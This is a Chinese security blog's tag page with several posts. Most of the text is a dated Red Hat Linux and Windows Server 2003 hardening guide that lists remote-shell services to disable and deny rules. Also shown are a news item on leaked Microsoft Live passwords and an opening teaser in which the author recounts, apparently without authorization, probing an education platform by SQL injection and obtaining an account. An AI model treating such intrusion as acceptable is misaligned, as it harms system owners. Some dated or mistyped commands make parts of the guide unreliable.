标签归档:网络安全

记一次Linux系统PHP注入入侵检测

题记:

一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……

第一步:获取需要的信息

由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。

注:以下为保护特用XXX代替敏感信息 继续阅读

Red Hat Linux 安全设置文档

Red Hat Linux本文从各方面阐述了Red Hat Linux的安全配置方法,如果您使用的是Windows Server 2003服务器的话,请看Windows Server 2003 系统配置方案

网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。

网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。

1,最小化安全系统,删除不必要的软件,关闭不必要的服务.

# ntsysv
以下仅列出需要启动的服务,未列出的服务一律推荐关闭,必要运行的服务再逐个打开.
atd
crond
irqbalance
microcode_ctl
network
sshd
syslog

2,删除finger程序,具体方法如下

#rpm –e finger

3,BOIS安全设置

4,帐号安全设置

修改/etc/login.def文件
PASS_MAX_DAYS   120 ?设置密码过期日期
PASS_MIN_DAYS   0   ?设置密码最少更改日期
PASS_MIN_LEN    10    ?设置密码最小长度
PASS_WARN_AGE   7  ?设置过期提前警告天数
确保/etc/shadow为root只读
确保/etc/passwd为root读写

定期用密码工具检测用户密码强度

5, /etc/exports

如果通过NFS把文件共享出来,那么一定要配置”/etc/exports”文件,使得访问限制尽可能的严格.这就是说,不要使用通配符,不允许对根目录有写权限,而且尽可能的只给读权限.在/etc/exports文件加入:
/dir/to/export host1.mydomain.com(ro,root_squash)
/dir/to/export host2.mydomain.com(ro,root_squash)
建议最好不要使用NFS.

6,inetd.conf或xinetd.conf
如果是inetd.conf建议注释掉所有的r开头的程序,exec等

7,TCP_Wrappers
在/etc/hosts.allow中加入允许的服务,在/etc/hosts.deny里加入这么一行ALL:ALL

8,/etc/aliases文件

Aliases文件如果管理错误或管理粗心就会造成安全隐患.把定义”decode”这个别名的行从aliases文件中删除.
编辑aliases,删除或注释下面这些行:
#games: root
#ingres: root
#system: root
#toor: root
#uucp: root
#manager: root
#dumper: root
#operator: root
#decode: root
运行/usr/bin/nesaliases重新加载.

9,防止sendmail被没有授权的用户滥用

编辑sendmail.cf
把PrivacyOptions=authwarnings
改为PrivacyOptions=authwarnings,noexpn,novrfy

10,不响应ping

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

11,使TCP SYN Cookie保护生效

Echo 1 > /proc/sys/net/ipv4/tcp_syncookies

12,删除不必要的用户和组用户

删除的用户,如adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher等
删除的组,如adm,lp,news,uucp,games,dip,pppusers,popusers,slipusers等
可以设置不可更改位
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/group
chattr +i /etc/gshadow

13,防止任何人都可以用su命令成为root

编辑su文件(vi /etc/pam.d/su),加入如下两行
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel
把能su为root的用户加入wheel组
usermod  -G10 username

14,使Control+Alt+Delete关机键无效

编辑inittab文件,注释掉
Ca:ctrlaltdel:/sbin/shutdown –t3 –r now
运行/sbin/init q 使设置生效

15,创建所有重要的日志文件的硬拷贝

如果服务器比较重要,可以考虑把ssh,mail,引导信息等打印出来.在/etc/syslog.conf文件中加入一行.:
Authpriv.*;mail.*;local7.*;auth.*;daemon.info /dev/lp0
执行/etc/rc.d/init.d/syslog restart
或者把日志发送到其它服务器保存

authpriv.*                 /var/log/secure
要把它发送到192.168.0.2,就可以这样修改
authpriv.* @192.168.0.2                /var/log/secure

16,改变/etc/rc.d/init.d目录下的脚本文件的访问许可

chmod –R 700 /etc/rc.d/init.d/*
注意:慎重修改此安全设置

17,/etc/rc.d/rc.local

把此文件中无关的信息全部注释,不让任何人看到任何有关主机的信息.
删除/etc下的issue和issue.net

18,带S位的程序

可以清除s位的程序包括但不限于:
从来不用的程序;
不希望非root用户运行的程序;
偶尔用用,但是不介意先用su命令变为root后再运行.
find / -type f \( -perm 04000 –o –perm -02000 \)  -print
chmod a-s 程序名

19,查看系统隐藏文件

find / -name “.*” –print

20,查找任何人都有写权限的文件和目录

find / -type f  \( -perm -2  -o perm -20 \) ls
find / -type f  \( -perm -2 –o –perm -20 \) ls

21,查找系统中没有主人的文件

find / -nouser –o –nogroup

22,查找.rhosts文件

find /home -name “.rhosts”
如果有,请删除它.

23,收回系统编译器的权限或删除

如: chmod 700 /usr/bin/gcc

一、磁盘分区

1、如果是新安装系统,对磁盘分区应考虑安全性:

1)根目录(/)、用户目录(/home)、临时目录(/tmp)和/var目录应分开到不同的磁盘分区;

2)以上各目录所在分区的磁盘空间大小应充分考虑,避免因某些原因造成分区空间用完而导致系统崩溃;

2、对于/tmp和/var目录所在分区,大多数情况下不需要有suid属性的程序,所以应为这些分区添加nosuid属性;

方法一:修改/etc/fstab文件,添加nosuid属性字。例如:

/dev/hda2 /tmp ext2 exec,dev,nosuid,rw 0 0

方法二:如果对/etc/fstab文件操作不熟,建议通过Linuxconf程序来修改。

运行linuxconf程序;

选择”File systems”下的”Access local drive”;

选择需要修改属性的磁盘分区;

选择”No setuid programs allowed”选项;

根据需要选择其它可选项;

正常退出。(一般会提示重新mount该分区)

二、安装

1、对于非测试主机,不应安装过多的软件包。这样可以降低因软件包而导致出现安全漏洞的可能性。

2、对于非测试主机,在选择主机启动服务时不应选择非必需的服务。例如routed、ypbind等。

三、安全配置与增强

内核升级。起码要升级至2.2.16以上版本。

GNU libc共享库升级。(警告:如果没有经验,不可轻易尝试。可暂缓。)

关闭危险的网络服务。echo、chargen、shell、login、finger、NFS、RPC等

关闭非必需的网络服务。talk、ntalk、pop-2等

常见网络服务安全配置与升级

确保网络服务所使用版本为当前最新和最安全的版本。

取消匿名FTP访问

去除非必需的suid程序

使用tcpwrapper

使用ipchains防火墙

日志系统syslogd

一些细节:

1.操作系统内部的log file是检测是否有网络入侵的重要线索,当然这个假定你的logfile不被侵入者所破坏,如果你有台服务器用专线直接连到Internet上,这意味着你的IP地址是永久固定的地址,你会发现有很多人对你的系统做telnet/ftp登录尝试,试着运行#more /var/log/secure   grep refused 去检查。

2. 限制具有SUID权限标志的程序数量,具有该权限标志的程序以root身份运行,是一个潜在的安全漏洞,当然,有些程序是必须要具有该标志的,象passwd程序。

3.BIOS安全。设置BIOS密码且修改引导次序禁止从软盘启动系统。

4. 用户口令。用户口令是Linux安全的一个最基本的起点,很多人使用的用户口令就是简单的‘passWord,这等于给侵入者敞开了大门,虽然从理论上说没有不能确解的用户口令,只要有足够的时间和资源可以利用。比较好的用户口令是那些只有他自己能够容易记得并理解的一串字符,并且绝对不要在任何地方写出来。

5./etc/eXPorts 文件。如果你使用NFS网络文件系统服务,那么确保你的/etc/exports具有最严格的存取权限设置,不意味着不要使用任何通配符,不允许root写权限,mount成只读文件系统。编辑文件/etc/exports并且加:例如:

/dir/to/export host1.mydomain.com(ro,root_squash)

/dir/to/export host2.mydomain.com(ro,root_squash)

/dir/to/export 是你想输出的目录,host.mydomain.com是登录这个目录的机器名,

ro意味着mount成只读系统,root_squash禁止root写入该目录。

为了让上面的改变生效,运行/usr/sbin/exportfs -a

6.确信/etc/inetd.conf的所有者是root,且文件权限设置为600 。

[root@deep]# chmod 600 /etc/inetd.conf
ENSURE that the owner is root.
[root@deep]# stat /etc/inetd.conf
File: “/etc/inetd.conf”
Size: 2869 Filetype: Regular File
Mode: (0600/-rw——-) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 8,6 Inode: 18219 Links: 1
Access: Wed Sep 22 16:24:16 1999(00000.00:10:44)
Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16)
Change:Mon Sep 20 10:22:44 1999(00002.06:12:16)

编辑/etc/inetd.conf禁止以下服务:

ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger,

auth, etc. 除非你真的想用它。

特别是禁止那些r命令.如果你用ssh/scp,那么你也可以禁止掉telnet/ftp。

为了使改变生效,运行#killall -HUP inetd

你也可以运行#chattr +i /etc/inetd.conf使该文件具有不可更改属性。

只有root才能解开,用命令

#chattr -i /etc/inetd.conf

7. TCP_WRAPPERS

默认地,Redhat Linux允许所有的请求,用TCP_WRAPPERS增强你的站点的安全性是举手

之劳,你可以放入

“ALL: ALL”到/etc/hosts.deny中禁止所有的请求,然后放那些明确允许的请求到

/etc/hosts.allow中,如:

sshd: 192.168.1.10/255.255.255.0 gate.openarch.com

对IP地址192.168.1.10和主机名gate.openarch.com,允许通过ssh连接。

配置完了之后,用tcpdchk检查

[root@deep]# tcpdchk

tcpchk是TCP_Wrapper配置检查工具,

它检查你的tcp wrapper配置并报告所有发现的潜在/存在的问题。

8. 别名文件aliases

编辑别名文件/etc/aliases(也可能是/etc/mail/aliases),移走/注释掉下面的行。

# Basic system aliases — these MUST be present.
MAILER-DAEMON: postmaster
postmaster: root
# General redirections for pseudo accounts.
bin: root
daemon: root
#games: root ?remove or comment out.
#ingres: root ?remove or comment out.
nobody: root
#system: root ?remove or comment out.
#toor: root ?remove or comment out.
#uUCp: root ?remove or comment out.
# Well-known aliases.
#manager: root ?remove or comment out.
#dumper: root ?remove or comment out.
#operator: root ?remove or comment out.
# trap decode to catch security attacks
#decode: root
# Person who should get roots mail
#root: marc

最后更新后不要忘记运行/usr/bin/newaliases,使改变生效。

9.阻止你的系统响应任何从外部/内部来的ping请求。

既然没有人能ping通你的机器并收到响应,你可以大大增强你的站点的安全性。你可以加下面的一行命令到/etc/rc.d/rc.local,以使每次启动后自动运行。

echo 1 >; /proc/sys/net/ipv4/icmp_echo_ignore_all

10. 不要显示出操作系统和版本信息。

如果你希望某个人远程登录到你的服务器时不要显示操作系统和版本信息,你能改变

/etc/inetd.conf中的一行象下面这样:

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h

加-h标志在最后使得telnet后台不要显示系统信息,而仅仅显示login:

11.The /etc/host.conf file

编辑host.conf文件(vi /etc/host.conf)且加下面的行:

# Lookup names via DNS first then fall back to /etc/hosts.
order bind,hosts
# We dont have machines with multiple IP addresses on the same card
(like virtual server,IP Aliasing).
multi off
# Check for IP address spoofing.
nospoof on
IP Spoofing: IP-Spoofing is a security exploit that works by tricking
computers in a trust relationship that you are someone that you really arent.

12. The /etc/securetty file
该文件指定了允许root登录的tty设备,/etc/securetty被/bin/login程序读取,它的
格式是一行一个被允许的名字列表,如你可以编辑/etc/securetty且注释出下面的行。

tty1
#tty2
#tty3
#tty4
#tty5
#tty6
#tty7
#tty8

意味着root仅仅被允许在tty1终端登录。

13. 特别的帐号
禁止所有默认的被操作系统本身启动的且不需要的帐号,当你第一次装上系统时就应该做此检查,Linux提供了各种帐号,你可能不需要,如果你不需要这个帐号,就移走它,你有的帐号越多,就越容易受到攻击。
为删除你系统上的用户,用下面的命令:

[root@deep]# userdel username
为删除你系统上的组用户帐号,用下面的命令:
[root@deep]# groupdel username
在终端上打入下面的命令删掉下面的用户。
[root@deep]# userdel adm
[root@deep]# userdel lp
[root@deep]# userdel sync
[root@deep]# userdel shutdown
[root@deep]# userdel halt
[root@deep]# userdel mail
如果你不用sendmail服务器,procmail.mailx,就删除这个帐号。
[root@deep]# userdel news
[root@deep]# userdel uucp
[root@deep]# userdel operator
[root@deep]# userdel games
如果你不用X windows 服务器,就删掉这个帐号。
[root@deep]# userdel gopher
[root@deep]# userdel ftp
如果你不允许匿名FTP,就删掉这个用户帐号。
打入下面的命令删除组帐号
[root@deep]# groupdel adm
[root@deep]# groupdel lp
[root@deep]# groupdel mail
如不用Sendmail服务器,删除这个组帐号
[root@deep]# groupdel news
[root@deep]# groupdel uucp
[root@deep]# groupdel games
如你不用X Windows,删除这个组帐号
[root@deep]# groupdel dip
[root@deep]# groupdel pppusers
[root@deep]# groupdel popusers
如果你不用POP服务器,删除这个组帐号
[root@deep]# groupdel slipusers
用下面的命令加需要的用户帐号
[root@deep]# useradd username
用下面的命令改变用户口令
[root@deep]# passwd username

用chattr命令给下面的文件加上不可更改属性。
[root@deep]# chattr +i /etc/passwd
[root@deep]# chattr +i /etc/shadow
[root@deep]# chattr +i /etc/group
[root@deep]# chattr +i /etc/gshadow

14. 阻止任何人su作为root.
如果你不想任何人能够su作为root,你能编辑/etc/pam.d/su加下面的行:

auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=isd

意味着仅仅isd组的用户可以su作为root.
然后,如果你希望用户admin能su作为root.就运行下面的命令。

[root@deep]# usermod -G10 admin

16. 资源限制
对你的系统上所有的用户设置资源限制可以防止DoS类型攻击(denial of service attacks)
如最大进程数,内存数量等。例如,对所有用户的限制象下面这样:

编辑/etc/security/limits.con加:
* hard core 0
* hard rss 5000
* hard nproc 20

你也必须编辑/etc/pam.d/login文件加/检查这一行的存在。

session required /lib/security/pam_limits.so

上面的命令禁止core files“core 0”,限制进程数为“nproc 50“,且限制内存使用
为5M“rss 5000”。

17. The /etc/lilo.conf file

a) Add: restricted
加这一行到每一个引导映像下面,就这表明如果你引导时用(linux single),则需要一个password.

b) Add: password=some_password
当与restricted联合用,且正常引导时,需要用户输入密码,你也要确保lilo.conf
文件不能被不属于root的用户可读,也免看到密码明文。下面是例子:

编辑/etc/lilo.conf加:
boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
Default=linux
restricted ?add this line.
password=some_password ?add this line.
image=/boot/vmlinuz-2.2.12-20
label=linux
initrd=/boot/initrd-2.2.12-10.img
root=/dev/sda6
read-only
[root@deep]# chmod 600 /etc/lilo.conf (不再能被其他用户可读).
[root@deep]# /sbin/lilo -v (更新lilo配置).
[root@deep]# chattr +i /etc/lilo.conf(阻止该文件被修改)

18. 禁止 Control-Alt-Delete 重启动机器命令

[root@deep]# vi /etc/inittab
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
To
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now
[root@deep]# /sbin/init q

19. 重新设置/etc/rc.d/init.d/目录下所有文件的许可权限
[root@deep]# chmod -R 700 /etc/rc.d/init.d/*
仅仅root可以读,写,执行上述所有script file.

20. The /etc/rc.d/rc.local file
默认地,当你login到linux server时,它告诉你linux版本名,内核版本名和服务器
主机名。它给了你太多的信息,如果你就希望得到提示login: ,编辑/etc/rc.d/rc.local放#在下面的行前面:

# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
#echo “” >; /etc/issue
#echo “$R” >;>; /etc/issue
#echo “Kernel $(uname -r) on $a $(uname -m)” >;>; /etc/issue
#
#cp -f /etc/issue /etc/issue.net
#echo >;>; /etc/issue

然后,做下面的事情:

[root@deep]# rm -f /etc/issue
[root@deep]# rm -f /etc/issue.net
[root@deep]# touch /etc/issue
[root@deep]# touch /etc/issue.net

21. 被root拥有的程序的位。

移走那些被root拥有程序的s位标志,当然有些程序需要这个,用命令‘chmod a-s’完成这个。

注:前面带(*)号的那些程序一般不需要拥有s位标志。

[root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls –lg {} \;
-rwsr-xr-x 1 root root 33120 Mar 21 1999 /usr/bin/at
*-rwsr-xr-x 1 root root 30560 Apr 15 20:03 /usr/bin/chage
*-rwsr-xr-x 1 root root 29492 Apr 15 20:03 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 3208 Mar 22 1999 /usr/bin/disable-paste
-rwxr-sr-x 1 root man 32320 Apr 9 1999 /usr/bin/man
-r-s–x–x 1 root root 10704 Apr 14 17:21 /usr/bin/passwd
-rws–x–x 2 root root 517916 Apr 6 1999 /usr/bin/suidperl
-rws–x–x 2 root root 517916 Apr 6 1999 /usr/bin/sperl5.00503
-rwxr-sr-x 1 root mail 11432 Apr 6 1999 /usr/bin/lockfile
-rwsr-sr-x 1 root mail 64468 Apr 6 1999 /usr/bin/procmail
-rwsr-xr-x 1 root root 21848 Aug 27 11:06 /usr/bin/crontab
-rwxr-sr-x 1 root slocate 15032 Apr 19 14:55 /usr/bin/slocate
*-r-xr-sr-x 1 root tty 6212 Apr 17 11:29 /usr/bin/wall
*-rws–x–x 1 root root 14088 Apr 17 12:57 /usr/bin/chfn
*-rws–x–x 1 root root 13800 Apr 17 12:57 /usr/bin/chsh
*-rws–x–x 1 root root 5576 Apr 17 12:57 /usr/bin/newgrp
*-rwxr-sr-x 1 root tty 8392 Apr 17 12:57 /usr/bin/write
-rwsr-x— 1 root squid 14076 Oct 7 14:48 /usr/lib/squid/pinger
-rwxr-sr-x 1 root utmp 15587 Jun 9 09:30 /usr/sbin/utempter
*-rwsr-xr-x 1 root root 5736 Apr 19 15:39 /usr/sbin/usernetctl
*-rwsr-xr-x 1 root bin 16488 Jul 6 09:35 /usr/sbin/traceroute
-rwsr-sr-x 1 root root 299364 Apr 19 16:38 /usr/sbin/sendmail
-rwsr-xr-x 1 root root 34131 Apr 16 18:49 /usr/libexec/pt_chown
-rwsr-xr-x 1 root root 13208 Apr 13 14:58 /bin/su
*-rwsr-xr-x 1 root root 52788 Apr 17 15:16 /bin/mount
*-rwsr-xr-x 1 root root 26508 Apr 17 20:26 /bin/umount
*-rwsr-xr-x 1 root root 17652 Jul 6 09:33 /bin/ping
-rwsr-xr-x 1 root root 20164 Apr 17 12:57 /bin/login
*-rwxr-sr-x 1 root root 3860 Apr 19 15:39 /sbin/netreport
-r-sr-xr-x 1 root root 46472 Apr 17 16:26 /sbin/pwdb_chkpwd
[root@deep]# chmod a-s /usr/bin/chage
[root@deep]# chmod a-s /usr/bin/gpasswd
[root@deep]# chmod a-s /usr/bin/wall
[root@deep]# chmod a-s /usr/bin/chfn
[root@deep]# chmod a-s /usr/bin/chsh
[root@deep]# chmod a-s /usr/bin/newgrp
[root@deep]# chmod a-s /usr/bin/write
[root@deep]# chmod a-s /usr/sbin/usernetctl
[root@deep]# chmod a-s /usr/sbin/traceroute
[root@deep]# chmod a-s /bin/mount
[root@deep]# chmod a-s /bin/umount
[root@deep]# chmod a-s /bin/ping
[root@deep]# chmod a-s /sbin/netreport

你可以用下面的命令查找所有带s位标志的程序:

[root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;

>; suid-sgid-results

把结果输出到文件suid-sgid-results中。

为了查找所有可写的文件和目录,用下面的命令:

[root@deep]# find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; >; ww-files-results

[root@deep]# find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \; >; ww-directories-results

用下面的命令查找没有拥有者的文件:

[root@deep]# find / -nouser -o -nogroup >; unowed-results

用下面的命令查找所有的.rhosts文件:

[root@deep]# find /home -name .rhosts >; rhost-results

建议替换的常见网络服务应用程序

WuFTPD

WuFTD从1994年就开始就不断地出现安全漏洞,黑客很容易就可以获得远程root访问(Remote Root Access)的权限,而且很多安全漏洞甚至不需要在FTP服务器上有一个有效的帐号。最近,WuFTP也是频频出现安全漏洞。

它的最好的替代程序是ProFTPD。ProFTPD很容易配置,在多数情况下速度也比较快,而且它的源代码也比较干净(缓冲溢出的错误比较少)。有许多重要的站点使用ProFTPD。sourceforge.net就是一个很好的例子(这个站点共有3,000个开放源代码的项目,其负荷并不小啊!)。一些Linux的发行商在它们的主FTP站点上使用的也是ProFTPD,只有两个主要Linux的发行商(SuSE和Caldera)使用 WuFTPD。

ProFTPD的另一个优点就是既可以从inetd运行又可以作为单独的daemon运行。这样就可以很容易解决inetd带来的一些问题,如:拒绝服务的攻击(denial of service attack),等等。系统越简单,就越容易保证系统的安全。WuFTPD要么重新审核一遍全部的源代码(非常困难),要么完全重写一遍代码,否则 WuFTPD必然要被ProFTPD代替。

Telnet

Telnet是非常非常不安全的,它用明文来传送密码。它的安全的替代程序是OpenSSH。

OpenSSH在Linux上已经非常成熟和稳定了,而且在Windows平台上也有很多免费的客户端软件。Linux的发行商应该采用 OpenBSD的策略:安装OpenSSH并把它设置为默认的,安装Telnet但是不把它设置成默认的。对于不在美国的Linux发行商,很容易就可以在Linux的发行版中加上OpenSSH。美国的Linux发行商就要想一些别的办法了(例如:Red Hat在德国的FTP服务器上(ftp.redhat.de)就有最新的OpenSSH的rpm软件包)。

Telnet是无可救药的程序。要保证系统的安全必须用OpenSSH这样的软件来替代它。

Sendmail

最近这些年,Sendmail的安全性已经提高很多了(以前它通常是黑客重点攻击的程序)。然而,Sendmail还是有一个很严重的问题。一旦出现了安全漏洞(例如:最近出现的Linux内核错误),Sendmail就是被黑客重点攻击的程序,因为Sendmail是以root权限运行而且代码很庞大容易出问题。

几乎所有的Linux发行商都把Sendmail作为默认的配置,只有少数几个把Postfix或Qmail作为可选的软件包。但是,很少有Linux的发行商在自己的邮件服务器上使用Sendmail。SuSE和Red Hat都使用基于Qmail的系统。

Sendmail并不一定会被别的程序完全替代。但是它的两个替代程序Qmail和Postfix都比它安全、速度快,而且特别是Postfix比它容易配置和维护。

su

su是用来改变当前用户的ID,转换成别的用户。你可以以普通用户登录,当需要以root身份做一些事的时候,只要执行“su”命令,然后输入 root的密码。su本身是没有问题的,但是它会让人养成不好的习惯。如果一个系统有多个管理员,必须都给他们root的口令。

su的一个替代程序是sudo。Red Hat 6.2中包含这个软件。sudo允许你设置哪个用户哪个组可以以root身份执行哪些程序。你还可以根据用户登录的位置对他们加以限制(如果有人“破”了一个用户的口令,并用这个帐号从远程计算机登录,你可以限制他使用sudo)。Debian也有一个类似的程序叫super,与sudo比较各有优缺点。

让用户养成良好的习惯。使用root帐号并让多个人知道root的密码并不是一个好的习惯。这就是www.apache.org被入侵的原因,因为它有多个系统管理员他们都有root的特权。一个乱成一团的系统是很容易被入侵的。

named

大部分Linux的发行商都解决了这个问题。named以前是以root运行的,因此当named出现新的漏洞的时候,很容易就可以入侵一些很重要的计算机并获得root权限。现在只要用命令行的一些参数就能让named以非root的用户运行。而且,现在绝大多数Linux的发行商都让 named以普通用户的权限运行。命令格式通常为:named -u ; -g ;

INN

在INN的文档中已经明确地指出:“禁止这项功能(verifycancels),这项功能是没有用的而且将被除掉”。大约在一个月前,一个黑客发布了当 “verifycancels”生效的时候入侵INN的方法。Red Hat是把“verifycancels”设为有效的。任何setuid/setgid的程序或网络服务程序都要正确地安装并且进行检查以保证尽量没有安全漏洞。

安全守则

1. 废除系统所有默认的帐号和密码。

2. 在用户合法性得到验证前不要显示公司题头、在线帮助以及其它信息。

3. 废除“黑客”可以攻击系统的网络服务。

4. 使用6到8位的字母数字式密码。

5. 限制用户尝试登录到系统的次数。

6. 记录违反安全性的情况并对安全记录进行复查。

7. 对于重要信息,上网传输前要先进行加密。

8. 重视专家提出的建议,安装他们推荐的系统“补丁”。

9. 限制不需密码即可访问的主机文件。

10.修改网络配置文件,以便将来自外部的TCP连接限制到最少数量的端口。不允许诸如tftp,sunrpc,printer,rlogin或rexec之类的协议。

11.用upas代替sendmail。sendmail有太多已知漏洞,很难修补完全。

12.去掉对操作并非至关重要又极少使用的程序。

13.使用chmod将所有系统目录变更为711模式。这样,攻击者们将无法看到它们当中有什么东西,而用户仍可执行。

14.只要可能,就将磁盘安装为只读模式。其实,仅有少数目录需读写状态。

15.将系统软件升级为最新版本。老版本可能已被研究并被成功攻击,最新版本一般包括了这些问题的补救。

微软证实Live帐户和密码遭泄露

先不看标题,先来扫盲–网络安全是什么?

网络安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。

网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。

网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。

以下面有关本次微软Live帐户和密码遭泄露的报道

microsoft_logo北京时间10月6日消息,据国外媒体报道,微软周一证实,数千个微软Live帐户和密码被发布在了pastebin.com网站上。

微软表示,微软Live帐户和密码被泄露并非是微软内部数据破坏和泄漏,目前尚不知道这些神秘的发帖者有没有更多的账户信息,但泄露最有可能的原因是恶徒们利用击键记录木马程序或网络钓鱼诈骗得到的账户密码,并出来炫耀。Windows爱好者网站 Neowin.net指出,被泄露的微软Live帐户和密码主要来自欧洲,包括了hotmail.com、msn.com和live.com账户。

微软发言人表示,“在上周周末,微软获悉数千个Windows Live Hotmail客户信息被泄露在了第三方网站上。在获悉这一情况后,我们立即对要求删除了这些数据,并对此展开调查。调查结果显示,此次事件并非是微软内部数据破坏和泄漏,我们将帮助用户重新控制他们的账户。”

微软建议用户立即对杀毒软件进行升级,并每隔90天对LIVE ID密码进行更新。

仅是数千而已,不足为奇,但还是提醒大家多多注意安全从自身做起

Windows Server 2003 系统配置方案

windows2003_logo一、系统的安装

1、按照Windows2003安装光盘的提示安装,默认情况下2003没有把IIS6.0安装在系统里面。

2、IIS6.0的安装
开始菜单—>控制面板—>添加或删除程序—>添加/删除Windows组件
应用程序 ———ASP.NET(可选)
|——启用网络 COM+ 访问(必选)
|——Internet 信息服务(IIS)———Internet 信息服务管理器(必选)
|——公用文件(必选)
|——万维网服务———Active Server pages(必选)
|——Internet 数据连接器(可选)
|——WebDAV 发布(可选)
|——万维网服务(必选)
|——在服务器端的包含文件(可选)
然后点击确定—>下一步安装。

3、系统补丁的更新
点击开始菜单—>所有程序—>Windows Update
按照提示进行补丁的安装。

4、备份系统
用GHOST备份系统。

5、安装常用的软件
例如:杀毒软件、解压缩软件等;安装之后用GHOST再次备份系统。

二、系统权限的设置
1、磁盘权限
系统盘及所有磁盘只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings\All Users 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Inetpub 目录及下面所有目录、文件只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Windows\System32\cacls.exe、cmd.exe、net.exe、net1.exe 文件只给 Administrators 组和 SYSTEM 的完全控制权限

2、本地安全策略设置
开始菜单—>管理工具—>本地安全策略
A、本地策略——>审核策略
审核策略更改   成功 失败
审核登录事件   成功 失败
审核对象访问      失败
审核过程跟踪   无审核
审核目录服务访问    失败
审核特权使用      失败
审核系统事件   成功 失败
审核账户登录事件 成功 失败
审核账户管理   成功 失败

B、 本地策略——>用户权限分配
关闭系统:只有Administrators组、其它全部删除。
通过终端服务拒绝登陆:加入Guests、User组
通过终端服务允许登陆:只加入Administrators组,其他全部删除

C、本地策略——>安全选项
交互式登陆:不显示上次的用户名       启用
网络访问:不允许SAM帐户和共享的匿名枚举   启用
网络访问:不允许为网络身份验证储存凭证   启用
网络访问:可匿名访问的共享         全部删除
网络访问:可匿名访问的命          全部删除
网络访问:可远程访问的注册表路径      全部删除
网络访问:可远程访问的注册表路径和子路径  全部删除
帐户:重命名来宾帐户            重命名一个帐户
帐户:重命名系统管理员帐户         重命名一个帐户

3、禁用不必要的服务
开始菜单—>管理工具—>服务
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
Server

以上是在Windows Server 2003 系统上面默认启动的服务中禁用的,默认禁用的服务如没特别需要的话不要启动。

4、启用防火墙
桌面—>网上邻居—>(右键)属性—>本地连接—>(右键)属性—>高级—>(选中)Internet 连接防火墙—>设置
把服务器上面要用到的服务端口选中
例如:一台WEB服务器,要提供WEB(80)、FTP(21)服务及远程桌面管理(3389)
在“FTP 服务器”、“WEB服务器(HTTP)”、“远程桌面”前面打上对号
如果你要提供服务的端口不在里面,你也可以点击“添加”铵钮来添加,具体参数可以参照系统里面原有的参数。
然后点击确定。注意:如果是远程管理这台服务器,请先确定远程管理的端口是否选中或添加。
ASP虚拟主机安全检测探针V1.5

走出Windows权限迷魂阵
在电脑应用中经常会看到”权限”这个词,特别是Windows 2000/XP被越来越多的朋友装进电脑后,常常会有读者问,什么是权限呢?它到底有什么用?下面我们将用几个典型实例为大家讲解windows中的权限应用,让你不仅可以在不安装任何软件的情况下,限制别人访问你的文件夹、指定用户不能使用的程序,而且还有来自微软内部的加强系统安全的绝招。
——————————————————————————–

初识Windows的权限
首先,要完全使用windows权限的所有功能,请确保在应用权限的分区为NTFS文件系统。本文将以windowsXP简体中文专业版+SP2作为范例讲解。
1.什么是权限?
举个形象的例子,windows就像一个实验室,其中有导师A、导师B;学生A、学生B.大家都能在实验室里面完成实验。但在这里又是分等级的.两位导师可以指定学生能使用什么样的实验工具,不能碰什么工具,从而使得实验室不会因为学生乱用实验工具.而出现问题。同时.两位导师又能互相限制对方对实验工具的使用。因此.windows中的权限就是对某个用户或同等级的用户进行权力分配和限制的方法。正是有了它的出现,windows中的用户要遵循这种”不平等”的制度,而正是这个制度,才使得windows可以更好地为多个用户的使用创造了良好,稳定的运行环境。
2.权限都包含有什么?
在以NT内核为基础的Windows 2000/XP中,权限主要分为七大类完全控制、修改,读取和运行、列出文件夹目录、读取、写入、特别的权限(见图1)。

其中完全控制包含了其他六大权限.只要拥有它,就等同于拥有了另外六大权限,其余复选框会被自动选中.属于”最高等级”的权限。
而其他权限的等级高低分别是:特别的权限>读取和运行>修改>写入>读取。
默认情况下,Windows XP将启用”简单文件共享”,这意味着安全性选项卡和针对权限的高级选项都不可用.也就不能进行本文所述的那些权限应用操作了。请现在就右击任意文件或文件夹.选择”属性”,如果没有看到”安全”选项卡,你可以通过如下方法打开它。
